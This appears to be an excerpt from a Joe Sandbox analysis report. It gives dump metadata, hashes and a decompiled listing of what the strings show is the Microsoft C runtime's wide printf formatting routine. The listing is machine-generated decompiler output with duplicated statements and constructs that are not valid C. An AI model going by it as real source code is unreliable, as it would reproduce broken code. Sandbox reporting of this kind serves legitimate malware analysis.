__aullrem.LIBCMT ref: 0043C4A0
__aulldiv.LIBCMT ref: 0043C4C2

Strings

9, xrefs: 0043C4D3

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: de0a5f24cca493b2017ce3d500814e98e9cc6ceb68a5fbf6a4b70a94b471b794
Instruction ID: 489ea988db4fed4127dd68f90852ce636fefaae3f191c6a21413578979e29c68
Opcode Fuzzy Hash: de0a5f24cca493b2017ce3d500814e98e9cc6ceb68a5fbf6a4b70a94b471b794
Instruction Fuzzy Hash: C44105B1E00229DFDB24CF58C991BAEB7B5FB89314F00959AD148BB245C7385E81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043C24D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0043C24D(intOrPtr __ebx, signed int __edx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t517;
				void* _t535;
				intOrPtr _t539;
				signed int _t556;
				signed short _t557;
				signed int _t560;
				signed int _t563;
				signed int _t564;
				intOrPtr _t565;
				signed int _t619;
				signed int _t621;
				signed int _t623;
				signed int _t630;
				signed int _t642;
				signed int _t669;
				intOrPtr _t670;
				intOrPtr _t671;
				signed int _t672;
				void* _t674;
				void* _t675;
				signed int _t681;

				L0:
				while(1) {
					L0:
					_t671 = __esi;
					_t670 = __edi;
					_t619 = __edx;
					_t565 = __ebx;
					 *(_t672 - 8) = 0xa;
					L150:
					while(1) {
						L150:
						while(1) {
							L150:
							while(1) {
								L150:
								if(( *(_t672 - 0x10) & 0x00008000) == 0) {
									_t621 =  *(_t672 - 0x10) & 0x00001000;
									if(_t621 == 0) {
										if(( *(_t672 - 0x10) & 0x00000020) == 0) {
											_t623 =  *(_t672 - 0x10) & 0x00000040;
											if(_t623 == 0) {
												_t483 = E00428200(_t672 + 0x14);
												_t675 = _t674 + 4;
												 *(_t672 - 0x4a0) = _t483;
												 *(_t672 - 0x49c) = 0;
											} else {
												_t556 = E00428200(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t556;
												 *(_t672 - 0x49c) = _t623;
											}
										} else {
											_t669 =  *(_t672 - 0x10) & 0x00000040;
											if(_t669 == 0) {
												_t557 = E00428200(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t557 & 0x0000ffff;
												 *(_t672 - 0x49c) = _t669;
											} else {
												_t560 = E00428200(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t560;
												 *(_t672 - 0x49c) = _t669;
											}
										}
									} else {
										_t563 = E00428220(_t672 + 0x14);
										_t675 = _t674 + 4;
										 *(_t672 - 0x4a0) = _t563;
										 *(_t672 - 0x49c) = _t621;
									}
								} else {
									_t564 = E00428220(_t672 + 0x14);
									_t675 = _t674 + 4;
									 *(_t672 - 0x4a0) = _t564;
									 *(_t672 - 0x49c) = _t619;
								}
								if(( *(_t672 - 0x10) & 0x00000040) == 0) {
									L167:
									 *(_t672 - 0x4a8) =  *(_t672 - 0x4a0);
									 *(_t672 - 0x4a4) =  *(_t672 - 0x49c);
									goto L168;
								} else {
									L163:
									_t681 =  *(_t672 - 0x49c);
									if(_t681 > 0 || _t681 >= 0 &&  *(_t672 - 0x4a0) >= 0) {
										goto L167;
									} else {
										L166:
										asm("adc edx, 0x0");
										 *(_t672 - 0x4a8) =  ~( *(_t672 - 0x4a0));
										 *(_t672 - 0x4a4) =  ~( *(_t672 - 0x49c));
										 *(_t672 - 0x10) =  *(_t672 - 0x10) | 0x00000100;
										L168:
										if(( *(_t672 - 0x10) & 0x00008000) == 0 && ( *(_t672 - 0x10) & 0x00001000) == 0) {
											 *(_t672 - 0x4a4) =  *(_t672 - 0x4a4) & 0x00000000;
										}
										if( *(_t672 - 0x30) >= 0) {
											 *(_t672 - 0x10) =  *(_t672 - 0x10) & 0xfffffff7;
											if( *(_t672 - 0x30) > 0x200) {
												 *(_t672 - 0x30) = 0x200;
											}
										} else {
											 *(_t672 - 0x30) = 1;
										}
										if(( *(_t672 - 0x4a8) |  *(_t672 - 0x4a4)) == 0) {
											 *(_t672 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t672 - 4)) = _t672 - 0x249;
										while(1) {
											L178:
											_t629 =  *(_t672 - 0x30) - 1;
											 *(_t672 - 0x30) =  *(_t672 - 0x30) - 1;
											if( *(_t672 - 0x30) <= 0 && ( *(_t672 - 0x4a8) |  *(_t672 - 0x4a4)) == 0) {
												break;
											}
											L180:
											asm("cdq");
											_t630 =  *(_t672 - 0x4a8);
											 *((intOrPtr*)(_t672 - 0x494)) = E00430630(_t630,  *(_t672 - 0x4a4),  *(_t672 - 8), _t629) + 0x30;
											asm("cdq");
											 *(_t672 - 0x4a8) = E004306B0( *(_t672 - 0x4a8),  *(_t672 - 0x4a4),  *(_t672 - 8), _t630);
											 *(_t672 - 0x4a4) = _t630;
											if( *((intOrPtr*)(_t672 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t672 - 0x494)) =  *((intOrPtr*)(_t672 - 0x494)) +  *((intOrPtr*)(_t672 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t672 - 4)))) =  *((intOrPtr*)(_t672 - 0x494));
											 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) - 1;
										}
										L183:
										 *((intOrPtr*)(_t672 - 0x24)) = _t672 - 0x249 -  *((intOrPtr*)(_t672 - 4));
										 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) + 1;
										if(( *(_t672 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t672 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t672 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t672 - 4)))) = 0x30;
											 *((intOrPtr*)(_t672 - 0x24)) =  *((intOrPtr*)(_t672 - 0x24)) + 1;
										}
										L187:
										while(1) {
											L187:
											while(1) {
												L187:
												while(1) {
													L187:
													while(1) {
														L187:
														while(1) {
															L187:
															while(1) {
																L187:
																while(1) {
																	do {
																		L187:
																		if( *((intOrPtr*)(_t672 - 0x28)) != 0) {
																			L212:
																			if( *(_t672 - 0x20) != 0) {
																				L0041C3E0( *(_t672 - 0x20), 2);
																				_t675 = _t675 + 8;
																				 *(_t672 - 0x20) = 0;
																			}
																			while(1) {
																				L214:
																				 *(_t672 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t672 + 0xc))));
																				_t578 =  *(_t672 - 0x454) & 0x0000ffff;
																				 *((intOrPtr*)(_t672 + 0xc)) =  *((intOrPtr*)(_t672 + 0xc)) + 2;
																				if(( *(_t672 - 0x454) & 0x0000ffff) == 0 ||  *(_t672 - 0x44c) < 0) {
																					break;
																				} else {
																					if(( *(_t672 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t672 - 0x454) & 0x0000ffff) > 0x78) {
																						 *(_t672 - 0x4d8) = 0;
																					} else {
																						 *(_t672 - 0x4d8) =  *(( *(_t672 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
																					}
																				}
																				L7:
																				 *(_t672 - 0x450) =  *(_t672 - 0x4d8);
																				_t642 =  *(_t672 - 0x450) * 9;
																				_t509 =  *(_t672 - 0x45c);
																				_t586 = ( *(_t642 + _t509 + 0x407e38) & 0x000000ff) >> 4;
																				 *(_t672 - 0x45c) = ( *(_t642 + _t509 + 0x407e38) & 0x000000ff) >> 4;
																				if( *(_t672 - 0x45c) != 8) {
																					L16:
																					 *(_t672 - 0x4e0) =  *(_t672 - 0x45c);
																					if( *(_t672 - 0x4e0) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t672 - 0x4e0) * 4 +  &M0043C824))) {
																						case 0:
																							L18:
																							 *(_t672 - 0xc) = 1;
																							E0043C930( *(_t672 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																							_t675 = _t675 + 0xc;
																							goto L214;
																						case 1:
																							L19:
																							 *(__ebp - 0x2c) = 0;
																							__ecx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) = __ecx;
																							__edx =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__eax =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L214;
																						case 2:
																							L20:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e4) = __ecx;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							if( *(__ebp - 0x4e4) > 0x10) {
																								goto L27;
																							}
																							L21:
																							_t57 =  *(__ebp - 0x4e4) + 0x43c85c; // 0x498d04
																							__ecx =  *_t57 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043C844))) {
																								case 0:
																									goto L24;
																								case 1:
																									goto L25;
																								case 2:
																									goto L23;
																								case 3:
																									goto L22;
																								case 4:
																									goto L26;
																								case 5:
																									goto L27;
																							}
																						case 3:
																							L28:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								 *(__ebp - 0x18) =  *(__ebp - 0x18) * 0xa;
																								_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__ecx =  *(__ebp - 0x18) * 0xa + _t81;
																								 *(__ebp - 0x18) = __ecx;
																							} else {
																								__edx = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00428200(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									__ecx =  *(__ebp - 0x18);
																									__ecx =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) = __ecx;
																								}
																							}
																							goto L214;
																						case 4:
																							L34:
																							 *(__ebp - 0x30) = 0;
																							goto L214;
																						case 5:
																							L35:
																							__edx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								__ecx =  *(__ebp - 0x30);
																								__ecx =  *(__ebp - 0x30) * 0xa;
																								_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__eax = __ecx + _t92;
																								 *(__ebp - 0x30) = __ecx + _t92;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00428200(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L214;
																						case 6:
																							L41:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e8) = __ecx;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							if( *(__ebp - 0x4e8) > 0x2e) {
																								L64:
																								goto L214;
																							}
																							L42:
																							_t100 =  *(__ebp - 0x4e8) + 0x43c884; // 0xc0919003
																							__ecx =  *_t100 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043C870))) {
																								case 0:
																									L47:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																										L50:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																										if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																											L53:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x64) {
																												L59:
																												L61:
																												goto L64;
																											}
																											L54:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x69) {
																												goto L59;
																											}
																											L55:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																												goto L59;
																											}
																											L56:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x75) {
																												goto L59;
																											}
																											L57:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x78) {
																												goto L59;
																											}
																											L58:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																												 *(__ebp - 0x45c) = 0;
																												goto L18;
																											}
																											goto L59;
																										}
																										L51:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																										if(__ecx != 0x32) {
																											goto L53;
																										} else {
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											goto L61;
																										}
																									}
																									L48:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																									if(__ecx != 0x34) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										goto L61;
																									}
																								case 1:
																									L62:
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) = __ecx;
																									goto L64;
																								case 2:
																									L43:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																									} else {
																										__ecx =  *(__ebp + 0xc);
																										__ecx =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) = __ecx;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L64;
																								case 3:
																									L63:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L64;
																								case 4:
																									goto L64;
																							}
																						case 7:
																							goto L65;
																						case 8:
																							L24:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) = __ecx;
																							goto L27;
																						case 9:
																							L25:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L27;
																						case 0xa:
																							L23:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							goto L27;
																						case 0xb:
																							L22:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L27;
																						case 0xc:
																							L26:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							goto L27;
																						case 0xd:
																							L27:
																							goto L214;
																					}
																				} else {
																					_t640 = 0;
																					if(0 == 0) {
																						 *(_t672 - 0x4dc) = 0;
																					} else {
																						 *(_t672 - 0x4dc) = 1;
																					}
																					 *(_t672 - 0x46c) =  *(_t672 - 0x4dc);
																					if( *(_t672 - 0x46c) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t517 = L0041E220();
																						_t675 = _t675 + 0x14;
																						if(_t517 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t672 - 0x46c) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422D10(_t586))) = 0x16;
																						E00422AA0(_t565, _t586, _t670, _t671, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t672 - 0x4c8) = 0xffffffff;
																						E0041ACC0(_t672 - 0x40);
																						_t502 =  *(_t672 - 0x4c8);
																						L225:
																						return E0042BB60(_t502, _t565,  *(_t672 - 0x48) ^ _t672, _t640, _t670, _t671);
																					}
																				}
																			}
																			L215:
																			if( *(_t672 - 0x45c) == 0 ||  *(_t672 - 0x45c) == 7) {
																				 *(_t672 - 0x4f8) = 1;
																			} else {
																				 *(_t672 - 0x4f8) = 0;
																			}
																			_t640 =  *(_t672 - 0x4f8);
																			 *(_t672 - 0x4bc) =  *(_t672 - 0x4f8);
																			if( *(_t672 - 0x4bc) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t507 = L0041E220();
																				_t675 = _t675 + 0x14;
																				if(_t507 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t672 - 0x4bc) != 0) {
																				 *(_t672 - 0x4d4) =  *(_t672 - 0x44c);
																				E0041ACC0(_t672 - 0x40);
																				_t502 =  *(_t672 - 0x4d4);
																			} else {
																				 *((intOrPtr*)(L00422D10(_t578))) = 0x16;
																				E00422AA0(_t565, _t578, _t670, _t671, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t672 - 0x4d0) = 0xffffffff;
																				E0041ACC0(_t672 - 0x40);
																				_t502 =  *(_t672 - 0x4d0);
																			}
																			goto L225;
																		}
																		L188:
																		if(( *(_t672 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t672 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t672 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t672 - 0x10) & 0x00000002) != 0) {
																						 *((short*)(_t672 - 0x14)) = 0x20;
																						 *(_t672 - 0x1c) = 1;
																					}
																				} else {
																					 *((short*)(_t672 - 0x14)) = 0x2b;
																					 *(_t672 - 0x1c) = 1;
																				}
																			} else {
																				 *((short*)(_t672 - 0x14)) = 0x2d;
																				 *(_t672 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t672 - 0x4ac)) =  *((intOrPtr*)(_t672 - 0x18)) -  *((intOrPtr*)(_t672 - 0x24)) -  *(_t672 - 0x1c);
																		if(( *(_t672 - 0x10) & 0x0000000c) == 0) {
																			E0043C990(0x20,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																		}
																		E0043C9D0( *(_t672 - 0x1c), _t672 - 0x14,  *(_t672 - 0x1c),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																		_t675 = _t675 + 0x10;
																		if(( *(_t672 - 0x10) & 0x00000008) != 0 && ( *(_t672 - 0x10) & 0x00000004) == 0) {
																			E0043C990(0x30,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																		}
																		if( *(_t672 - 0xc) != 0 ||  *((intOrPtr*)(_t672 - 0x24)) <= 0) {
																			L208:
																			E0043C9D0( *((intOrPtr*)(_t672 - 0x24)),  *((intOrPtr*)(_t672 - 4)),  *((intOrPtr*)(_t672 - 0x24)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																			goto L209;
																		} else {
																			L202:
																			 *((intOrPtr*)(_t672 - 0x4b0)) =  *((intOrPtr*)(_t672 - 4));
																			 *((intOrPtr*)(_t672 - 0x4b4)) =  *((intOrPtr*)(_t672 - 0x24));
																			while(1) {
																				L203:
																				 *((intOrPtr*)(_t672 - 0x4b4)) =  *((intOrPtr*)(_t672 - 0x4b4)) - 1;
																				if( *((intOrPtr*)(_t672 - 0x4b4)) <= 0) {
																					break;
																				}
																				L204:
																				_t535 = E0041ACF0(_t672 - 0x40);
																				_t539 = E0043B430(_t672 - 0x458,  *((intOrPtr*)(_t672 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041ACF0(_t672 - 0x40))) + 0xac)), _t535);
																				_t675 = _t675 + 0x10;
																				 *((intOrPtr*)(_t672 - 0x4b8)) = _t539;
																				if( *((intOrPtr*)(_t672 - 0x4b8)) > 0) {
																					L206:
																					E0043C930( *(_t672 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																					_t675 = _t675 + 0xc;
																					 *((intOrPtr*)(_t672 - 0x4b0)) =  *((intOrPtr*)(_t672 - 0x4b0)) +  *((intOrPtr*)(_t672 - 0x4b8));
																					continue;
																				}
																				L205:
																				 *(_t672 - 0x44c) = 0xffffffff;
																				break;
																			}
																			L207:
																			L209:
																			if( *(_t672 - 0x44c) >= 0 && ( *(_t672 - 0x10) & 0x00000004) != 0) {
																				E0043C990(0x20,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																				_t675 = _t675 + 0x10;
																			}
																			goto L212;
																		}
																		L65:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																		__ecx =  *(__ebp - 0x4ec);
																		__ecx =  *(__ebp - 0x4ec) - 0x41;
																		 *(__ebp - 0x4ec) = __ecx;
																	} while ( *(__ebp - 0x4ec) > 0x37);
																	__edx =  *(__ebp - 0x4ec);
																	_t141 = __edx + 0x43c8f0; // 0xcccccc0d
																	__eax =  *_t141 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043C8B4))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *((intOrPtr*)(__ebp - 0x460)) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E00428200(__ebp + 0x14);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			if( *((intOrPtr*)( *(__ebp - 0x474) + 4)) != 0) {
																				L78:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B760( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041ACF0(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x440374; // 0x4b3bc1ec
																					E00424560(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041ACF0(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x440380; // 0x4b248c6c
																						E00424560(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041ACF0(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44037c; // 0x4b24956c
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
